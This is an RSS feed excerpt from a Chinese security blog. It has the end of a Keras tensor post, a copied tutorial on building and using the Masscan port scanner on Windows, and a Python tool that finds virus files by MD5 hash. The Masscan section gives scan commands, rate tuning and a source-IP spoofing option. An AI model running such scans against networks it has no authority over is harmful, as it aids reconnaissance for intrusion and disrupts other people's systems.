print(c.shape,&amp;nbsp;c)&lt;/pre&gt;&lt;p&gt;其输出结果如下：&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/10/202210091665321163148668.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;那axes的作用到底是什么呢？通俗的讲是指定参与运算的轴。以上程序运行过程用以下图形展示：&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/10/202210091665321275641990.png&quot; title=&quot;batch_dot.png&quot; alt=&quot;batch_dot.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;其中a就是程序中的arr12张量，b就是arr13张量。axes=[2,1],表示a中的第三个维度（即shape数值3）与b中的第二个维度（即shape数值3）进行点击运算（注，维度索引从0开始）。具体运算过程看上图。&lt;/p&gt;&lt;p&gt;经过反复测试和验证，目前基本理解axes的参数是批张量中哪些维度参与运算，以上是个人理解，有不正之处，请大佬指正！&lt;/p&gt;&lt;p&gt;学习犹如逆水行舟，不进则退！加油！！！&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Sun, 09 Oct 2022 21:05:13 +0800</pubDate></item><item><title>Windows下使用Masscan【摘抄】</title><link>http://www.itsec365.cn/?id=71</link><description>&lt;p&gt;Windows使用Masscan&lt;/p&gt;&lt;p&gt;0x00 前⾔&lt;/p&gt;&lt;p&gt;Masscan号称最快的互联⽹端⼝扫描器,本⽂来探测⼀下Masscan在Windows下的安装和使⽤。&lt;/p&gt;&lt;p&gt;masscan的扫描结果类似于nmap，在内部，它更像scanrand, unicornscan, and ZMap，采⽤了异步传输的⽅式。它和这些扫描器最主要的区别是，它⽐这些扫描器更快。⽽且，masscan更加灵活，它允许⾃定义任意的地址范和端⼝范围。&lt;/p&gt;&lt;p&gt;0x01 Windows下编译Masscan&lt;/p&gt;&lt;p&gt;Masscan需要经过编译才能⽣成exe⽂件在Windows下使⽤。&lt;/p&gt;&lt;p&gt;Masscan下载地址：&lt;/p&gt;&lt;p&gt;编译⼯具：vs2012&lt;/p&gt;&lt;p&gt;编译选项中未添加vs2012的编译配置，所以直接编译会报错&lt;/p&gt;&lt;p&gt;解决⽅法：&lt;/p&gt;&lt;p&gt;在string_s.h中添加vs2012配置信息&lt;/p&gt;&lt;p&gt;位于misc-string_s.h,添加代码如下：&lt;/p&gt;&lt;p&gt;#if defined(_MSC_VER) &amp;amp;&amp;amp; (_MSC_VER == 1700)&lt;/p&gt;&lt;p&gt;/*Visual Studio 2012*/&lt;/p&gt;&lt;p&gt;# include &amp;lt;stdio.h&amp;gt;&lt;/p&gt;&lt;p&gt;# include &amp;lt;string.h&amp;gt;&lt;/p&gt;&lt;p&gt;# define strcasecmp _stricmp&lt;/p&gt;&lt;p&gt;# define memcasecmp _memicmp&lt;/p&gt;&lt;p&gt;# ifndef PRIu64&lt;/p&gt;&lt;p&gt;# define PRIu64 &amp;quot;llu&amp;quot;&lt;/p&gt;&lt;p&gt;# define PRId64 &amp;quot;lld&amp;quot;&lt;/p&gt;&lt;p&gt;# define PRIx64 &amp;quot;llx&amp;quot;&lt;/p&gt;&lt;p&gt;# endif&lt;/p&gt;&lt;p&gt;编译成功，执⾏masscan.exe，提⽰Packet.dll: not found&lt;/p&gt;&lt;p&gt;如下图&lt;/p&gt;&lt;p&gt;Packet.dll获取⽅法：&lt;/p&gt;&lt;p&gt;安装WinPcap后在System32下获得&lt;/p&gt;&lt;p&gt;WinPcap下载地址：&lt;/p&gt;&lt;p&gt;在另⼀系统安装WinPcap，在System32下找到Packet.dll和Wpcap.dll，复制到测试系统下masscan.exe的同级⽬录，再次运⾏&lt;/p&gt;&lt;p&gt;程序正常启动，但是⽆法扫描，报错如下：&lt;/p&gt;&lt;p&gt;FAIL: Error opening adapter: 系统找不到指定的设备。 (20) adapter[\Device\NPF_{71D19B82-0818-4685-A8E7-A6C7C812F2EA}].init: failed&lt;/p&gt;&lt;p&gt;0x02 安装WinPcap&lt;/p&gt;&lt;p&gt;官⽹下载安装即可。&lt;/p&gt;&lt;p&gt;0x03 Masscan使⽤&lt;/p&gt;&lt;p&gt;扫描指定⽹段和端⼝：&lt;/p&gt;&lt;p&gt;masscan.exe -p80 192.168.81.1/24&lt;/p&gt;&lt;p&gt;找到⼀台开启80端⼝的服务器，回显如下：&lt;/p&gt;&lt;p&gt;Discovered open port 80/tcp on 192.168.81.143&lt;/p&gt;&lt;p&gt;扫描指定主机所有开放的端⼝：&lt;/p&gt;&lt;p&gt;masscan.exe -p0-65535 192.168.81.143&lt;/p&gt;&lt;p&gt;如下图&lt;/p&gt;&lt;p&gt;扫描指定主机的特定端⼝：&lt;/p&gt;&lt;p&gt;masscan.exe -p80,443 192.168.81.143&lt;/p&gt;&lt;p&gt;获取banner：&lt;/p&gt;&lt;p&gt;masscan.exe -p80,443,3306 192.168.81.143 --banners&lt;/p&gt;&lt;p&gt;通过配置⽂件启动扫描：&lt;/p&gt;&lt;p&gt;将配置信息保存在1.conf:&lt;/p&gt;&lt;p&gt;masscan.exe -p80,443,3306 192.168.81.143 --banners --echo&amp;gt;1.conf&lt;/p&gt;&lt;p&gt;读取配置信息1.conf，启动扫描:&lt;/p&gt;&lt;p&gt;masscan.exe -c 1.conf&lt;/p&gt;&lt;p&gt;修改扫描速度为100,000包/秒（Windos下最⼤为 300,000包/秒），默认100包/秒：&lt;/p&gt;&lt;p&gt;--rate 100000&lt;/p&gt;&lt;p&gt;扫描结果可以以不同的格式输出：(XML是默认格式)&lt;/p&gt;&lt;p&gt;-oX &amp;lt;filespec&amp;gt; (XML)&lt;/p&gt;&lt;p&gt;-oB &amp;lt;filespec&amp;gt; (Binary)&lt;/p&gt;&lt;p&gt;-oG &amp;lt;filespec&amp;gt; (Grep)&lt;/p&gt;&lt;p&gt;-oJ &amp;lt;filespec&amp;gt; (Json)&lt;/p&gt;&lt;p&gt;-oL &amp;lt;filespec&amp;gt; (List)&lt;/p&gt;&lt;p&gt;-oU &amp;lt;filespec&amp;gt; (Unicornscan format)&lt;/p&gt;&lt;p&gt;默认情况，masscan开启如下配置：&lt;/p&gt;&lt;p&gt;-sS:&amp;nbsp; &amp;nbsp;半开放扫描,不完成完整的TCP/IP连接&lt;/p&gt;&lt;p&gt;-Pn:&amp;nbsp; &amp;nbsp;跳过主机发现&lt;/p&gt;&lt;p&gt;-n:&amp;nbsp; &amp;nbsp;跳过DNS解析&lt;/p&gt;&lt;p&gt;--randomize-hosts:随机化扫描&lt;/p&gt;&lt;p&gt;--send-eth:使⽤libpcap数据包传输详细参数&lt;/p&gt;&lt;p&gt;&amp;lt;ip/range&amp;gt; IP地址范围，有三种有效格式：1、单独的IPv4地址 2、类似&amp;quot;10.0.0.1-10.0.0.233&amp;quot;的范围地址 3、CIDR地址类似于&amp;quot;0.0.0.0/0&amp;quot;，多个⽬标可以⽤都好隔开&lt;/p&gt;&lt;p&gt;-p &amp;lt;ports,--ports &amp;lt;ports&amp;gt;&amp;gt; 指定端⼝进⾏扫描&lt;/p&gt;&lt;p&gt;--banners 获取banner信息，⽀持少量的协议&lt;/p&gt;&lt;p&gt;--rate &amp;lt;packets-per-second&amp;gt; 指定发包的速率&lt;/p&gt;&lt;p&gt;-c &amp;lt;filename&amp;gt;, --conf &amp;lt;filename&amp;gt; 读取配置⽂件进⾏扫描&lt;/p&gt;&lt;p&gt;--echo 将当前的配置重定向到⼀个配置⽂件中&lt;/p&gt;&lt;p&gt;-e &amp;lt;ifname&amp;gt; , --adapter &amp;lt;ifname&amp;gt; 指定⽤来发包的⽹卡接⼝名称&lt;/p&gt;&lt;p&gt;--adapter-ip &amp;lt;ip-address&amp;gt; 指定发包的IP地址&lt;/p&gt;&lt;p&gt;--adapter-port &amp;lt;port&amp;gt; 指定发包的源端⼝&lt;/p&gt;&lt;p&gt;--adapter-mac &amp;lt;mac-address&amp;gt; 指定发包的源MAC地址&lt;/p&gt;&lt;p&gt;--router-mac &amp;lt;mac address&amp;gt; 指定⽹关的MAC地址&lt;/p&gt;&lt;p&gt;--exclude &amp;lt;ip/range&amp;gt; IP地址范围⿊名单，防⽌masscan扫描&lt;/p&gt;&lt;p&gt;--excludefile &amp;lt;filename&amp;gt; 指定IP地址范围⿊名单⽂件&lt;/p&gt;&lt;p&gt;--includefile，-iL &amp;lt;filename&amp;gt; 读取⼀个范围列表进⾏扫描&lt;/p&gt;&lt;p&gt;--ping 扫描应该包含ICMP回应请求&lt;/p&gt;&lt;p&gt;--append-output 以附加的形式输出到⽂件&lt;/p&gt;&lt;p&gt;--iflist 列出可⽤的⽹络接⼝，然后退出&lt;/p&gt;&lt;p&gt;--retries 发送重试的次数，以1秒为间隔&lt;/p&gt;&lt;p&gt;--nmap 打印与nmap兼容的相关信息&lt;/p&gt;&lt;p&gt;--http-user-agent &amp;lt;user-agent&amp;gt; 设置user-agent字段的值&lt;/p&gt;&lt;p&gt;--show [open,close] 告诉要显⽰的端⼝状态，默认是显⽰开放端⼝&lt;/p&gt;&lt;p&gt;--noshow [open,close] 禁⽤端⼝状态显⽰&lt;/p&gt;&lt;p&gt;--pcap &amp;lt;filename&amp;gt; 将接收到的数据包以libpcap格式存储&lt;/p&gt;&lt;p&gt;--regress 运⾏回归测试，测试扫描器是否正常运⾏&lt;/p&gt;&lt;p&gt;--ttl &amp;lt;num&amp;gt; 指定传出数据包的TTL值，默认为255&lt;/p&gt;&lt;p&gt;--wait &amp;lt;seconds&amp;gt; 指定发送完包之后的等待时间，默认为10秒&lt;/p&gt;&lt;p&gt;--offline 没有实际的发包，主要⽤来测试开销&lt;/p&gt;&lt;p&gt;-sL 不执⾏扫描，主要是⽣成⼀个随机地址列表&lt;/p&gt;&lt;p&gt;--readscan &amp;lt;binary-files&amp;gt; 读取从-oB⽣成的⼆进制⽂件，可以转化为XML或者JSON格式.&lt;/p&gt;&lt;p&gt;--connection-timeout &amp;lt;secs&amp;gt; 抓取banners时指定保持TCP连接的最⼤秒数，默认是30秒。Nmap功能&lt;/p&gt;&lt;p&gt;Masscan可以像nmap许多安全⼈员⼀样⼯作。这⾥有⼀些其他类似nmap的选项：通过传递–nmap开关可以看到类似nmap的功能。&lt;/p&gt;&lt;p&gt;1. -iL filename：从⽂件读取输⼊。&lt;/p&gt;&lt;p&gt;2. ‐‐exclude filename：在命令⾏中排除⽹络。&lt;/p&gt;&lt;p&gt;3. ‐‐excludefile：从⽂件中排除⽹络。&lt;/p&gt;&lt;p&gt;4. -S：欺骗源IP。&lt;/p&gt;&lt;p&gt;5. -v interface：详细输出。&lt;/p&gt;&lt;p&gt;6. -vv interface：⾮常冗长的输出。&lt;/p&gt;&lt;p&gt;7. -e interface：使⽤指定的接⼝。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Fri, 12 Aug 2022 13:57:25 +0800</pubDate></item><item><title>病毒排查辅助工具【备忘录】</title><link>http://www.itsec365.cn/?id=70</link><description>&lt;p&gt;一、背景&lt;br/&gt;&lt;/p&gt;&lt;p&gt;已获取病毒文件的MD5值，在内网各计算机中排查是否存在同样的病毒。&lt;/p&gt;&lt;p&gt;二、工具运行环境要求&lt;/p&gt;&lt;p&gt;要能够同时在windows xp 32位，windows 7 32和64位 ,windows server 2003、windows server 2008、windows 10 64位等系统中运行。&lt;/p&gt;&lt;p&gt;三、开发环境&lt;/p&gt;&lt;p&gt;Python 2.7.14,&lt;/p&gt;&lt;p&gt;py2exe-0.6.9.win32-py2.7&lt;/p&gt;&lt;p&gt;windows xp 32位&lt;/p&gt;&lt;p&gt;py2exe下载地址&amp;nbsp;&lt;a href=&quot;https://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/&quot;&gt;py2exe - Browse /py2exe/0.6.9 at SourceForge.net&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/08/202208071659848343756219.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;Python 2.7.14 下载地址&amp;nbsp;&lt;a href=&quot;https://www.python.org/ftp/python/2.7.14/python-2.7.14.msi&quot; _src=&quot;https://www.python.org/ftp/python/2.7.14/python-2.7.14.msi&quot;&gt;https://www.python.org/ftp/python/2.7.14/python-2.7.14.msi&lt;/a&gt; &lt;/p&gt;&lt;p&gt;其主页面为&amp;nbsp;&lt;a href=&quot;https://www.python.org/downloads/windows/&quot;&gt;Python Releases for Windows | Python.org&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/08/202208061659778163158269.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;三、环境安装&lt;/p&gt;&lt;p&gt;直接在windows xp 中安装python 2.7.14和py2exe-0.6.9.win32-py2.7&lt;/p&gt;&lt;p&gt;安装完成后，输入以下命令进行确认&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-python&quot;&gt;python&amp;nbsp;-V
python&amp;nbsp;mysetup.py&amp;nbsp;py2exe&amp;nbsp;--help&lt;/pre&gt;&lt;p&gt;如果出现以下画面，表示安装成功！&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;http://www.itsec365.cn/zb_users/upload/2022/08/202208061659778993108357.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;p&gt;四、工具完整代码&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-python&quot;&gt;#&amp;nbsp;-*-&amp;nbsp;coding:&amp;nbsp;GB2312&amp;nbsp;-*-
&amp;quot;&amp;quot;&amp;quot;
@Copyright:&amp;nbsp;Copyright?2022-2025&amp;nbsp;All&amp;nbsp;Rights&amp;nbsp;Reserved
@File&amp;nbsp;name:&amp;nbsp;scanfiles.py
@Version:1.1
@File&amp;nbsp;function&amp;nbsp;description:&amp;nbsp;Scan&amp;nbsp;MD5&amp;nbsp;consistent&amp;nbsp;files
@Creation&amp;nbsp;date:&amp;nbsp;2022-08-05&amp;nbsp;20:30:00
@Created&amp;nbsp;by:&amp;nbsp;Old&amp;nbsp;Charlie
@Modification&amp;nbsp;ID:
@Modification&amp;nbsp;Description:
@Modified&amp;nbsp;on:
&amp;quot;&amp;quot;&amp;quot;
import&amp;nbsp;os
import&amp;nbsp;sys
import&amp;nbsp;hashlib
import&amp;nbsp;getopt
import&amp;nbsp;time
import&amp;nbsp;argparse
import&amp;nbsp;signal
#存放已知病毒文件的MD5值
md5list&amp;nbsp;=&amp;nbsp;[]
#存放找到的病毒文件名称
fnameList&amp;nbsp;=&amp;nbsp;[]
#存放匹配的文件数量
md5num&amp;nbsp;=&amp;nbsp;0
#扫描文件夹
dpath&amp;nbsp;=&amp;nbsp;&amp;#39;c:\\windows&amp;#39;
#记录扫描开始时间
n1&amp;nbsp;=&amp;nbsp;time.time()
starttime&amp;nbsp;=&amp;nbsp;time.strftime(&amp;#39;%Y-%m-%d&amp;nbsp;%H:%M:%S&amp;#39;,time.localtime(n1))
#记录共扫描的文件数量
file_num&amp;nbsp;=&amp;nbsp;0
#结束处理信号里
stop&amp;nbsp;=&amp;nbsp;False
#定义处理信号量的函数
def&amp;nbsp;my_handler(signum,&amp;nbsp;frame):
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;global&amp;nbsp;stop
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;stop&amp;nbsp;=&amp;nbsp;True
signal.signal(signal.SIGINT,&amp;nbsp;my_handler)
#输入参数
try:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;opts,args&amp;nbsp;=&amp;nbsp;getopt.getopt(sys.argv[1:],&amp;nbsp;&amp;quot;hp:&amp;quot;,&amp;nbsp;[&amp;quot;path=&amp;quot;,&amp;nbsp;&amp;quot;help&amp;quot;])
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;opt,&amp;nbsp;path&amp;nbsp;in&amp;nbsp;opts:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;opt==&amp;quot;--path&amp;quot;&amp;nbsp;or&amp;nbsp;opt==&amp;quot;-p&amp;quot;:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;print(path)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dpath&amp;nbsp;=&amp;nbsp;path
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#添加帮助信息&amp;nbsp;2022-08-06&amp;nbsp;21:35
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;elif&amp;nbsp;opt==&amp;quot;--help&amp;quot;&amp;nbsp;or&amp;nbsp;opt==&amp;quot;-h&amp;quot;:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print(&amp;quot;*&amp;quot;*40)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print(&amp;quot;默认扫描c:\windwos&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print(&amp;quot;*&amp;quot;*40)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;parser&amp;nbsp;=&amp;nbsp;argparse.ArgumentParser()
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;example&amp;nbsp;=&amp;nbsp;parser.add_argument_group(&amp;quot;Example&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;example.add_argument(&amp;quot;-p&amp;quot;,&amp;nbsp;dest=&amp;quot;短参数&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;help=&amp;quot;scanfiles.exe&amp;nbsp;-p&amp;nbsp;\&amp;quot;C:\Program&amp;nbsp;Files\&amp;quot;&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;example.add_argument(&amp;quot;--path&amp;quot;,&amp;nbsp;dest=&amp;quot;长参数&amp;quot;,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;help=&amp;quot;scanfiles.exe&amp;nbsp;--path=\&amp;quot;C:\Program&amp;nbsp;Files\&amp;quot;&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;args&amp;nbsp;=&amp;nbsp;parser.parse_args()
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;parser.print_help()
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print(&amp;quot;请输入正确的参数!&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sys.exit(0)
except&amp;nbsp;Exception&amp;nbsp;as&amp;nbsp;e:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#raise
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print(&amp;#39;请输入正确的参数！&amp;#39;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sys.exit(0)
finally:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pass
#读取配置文件内容
with&amp;nbsp;open(&amp;#39;md5v.ini&amp;#39;)&amp;nbsp;as&amp;nbsp;file:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;content=file.readlines()
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;l&amp;nbsp;in&amp;nbsp;content:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;_l&amp;nbsp;=&amp;nbsp;l.strip()
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;len(_l)&amp;nbsp;&amp;gt;&amp;nbsp;0:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;md5list.append(l.rstrip())
#遍历文件目录及子目录中的文件
for&amp;nbsp;dirpath,&amp;nbsp;dirnames,&amp;nbsp;filenames&amp;nbsp;in&amp;nbsp;os.walk(dpath):
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;stop:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;filename&amp;nbsp;in&amp;nbsp;filenames:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;stop:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;file_num&amp;nbsp;=&amp;nbsp;file_num&amp;nbsp;+&amp;nbsp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print(os.path.join(dirpath,&amp;nbsp;filename))
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmp_filename&amp;nbsp;=&amp;nbsp;os.path.join(dirpath,&amp;nbsp;filename)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;with&amp;nbsp;open(tmp_filename,&amp;nbsp;&amp;#39;rb&amp;#39;)&amp;nbsp;as&amp;nbsp;fp:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data&amp;nbsp;=&amp;nbsp;fp.read()
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;file_md5=&amp;nbsp;hashlib.md5(data).hexdigest()
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;print(file_md5)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;file_md5&amp;nbsp;in&amp;nbsp;md5list:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;md5num&amp;nbsp;=&amp;nbsp;md5num+1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fnameList.append(tmp_filename)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;except&amp;nbsp;Exception&amp;nbsp;as&amp;nbsp;e:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pass
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;finally:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pass
#扫描结束时间
n2&amp;nbsp;=&amp;nbsp;time.time()
endtime&amp;nbsp;=&amp;nbsp;time.strftime(&amp;#39;%Y-%m-%d&amp;nbsp;%H:%M:%S&amp;#39;,time.localtime(n2))
#扫描结束时间差（秒数）
s&amp;nbsp;=&amp;nbsp;int(round((n2-n1)&amp;nbsp;%&amp;nbsp;60))
#扫描结束时间差（分钟数）
m&amp;nbsp;=&amp;nbsp;int((n2-n1)&amp;nbsp;/&amp;nbsp;60)
#打印40个*号
myinfo&amp;nbsp;=&amp;nbsp;&amp;quot;&amp;quot;&amp;quot;
########################################
********&amp;nbsp;www.itsec365.cn&amp;nbsp;***************
********&amp;nbsp;Version:&amp;nbsp;1.1&amp;nbsp;******************
****Modified&amp;nbsp;on:&amp;nbsp;2022-08-06&amp;nbsp;21:35*******
*****&amp;nbsp;Welcome&amp;nbsp;to&amp;nbsp;this&amp;nbsp;tool！************
########################################
&amp;quot;&amp;quot;&amp;quot;
print(myinfo)
print(&amp;#39;*&amp;#39;*40)
print(&amp;#39;**&amp;nbsp;开始时间:&amp;#39;+starttime)
print(&amp;#39;**&amp;nbsp;结束时间:&amp;#39;+endtime)
print(&amp;#39;**&amp;nbsp;匹配到&amp;#39;+str(md5num)+&amp;#39;个文件&amp;#39;)
for&amp;nbsp;fn&amp;nbsp;in&amp;nbsp;fnameList:
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print(fn)
print(&amp;#39;**&amp;nbsp;共查询&amp;#39;+&amp;nbsp;str(file_num)&amp;nbsp;+&amp;nbsp;&amp;#39;个文件&amp;#39;)
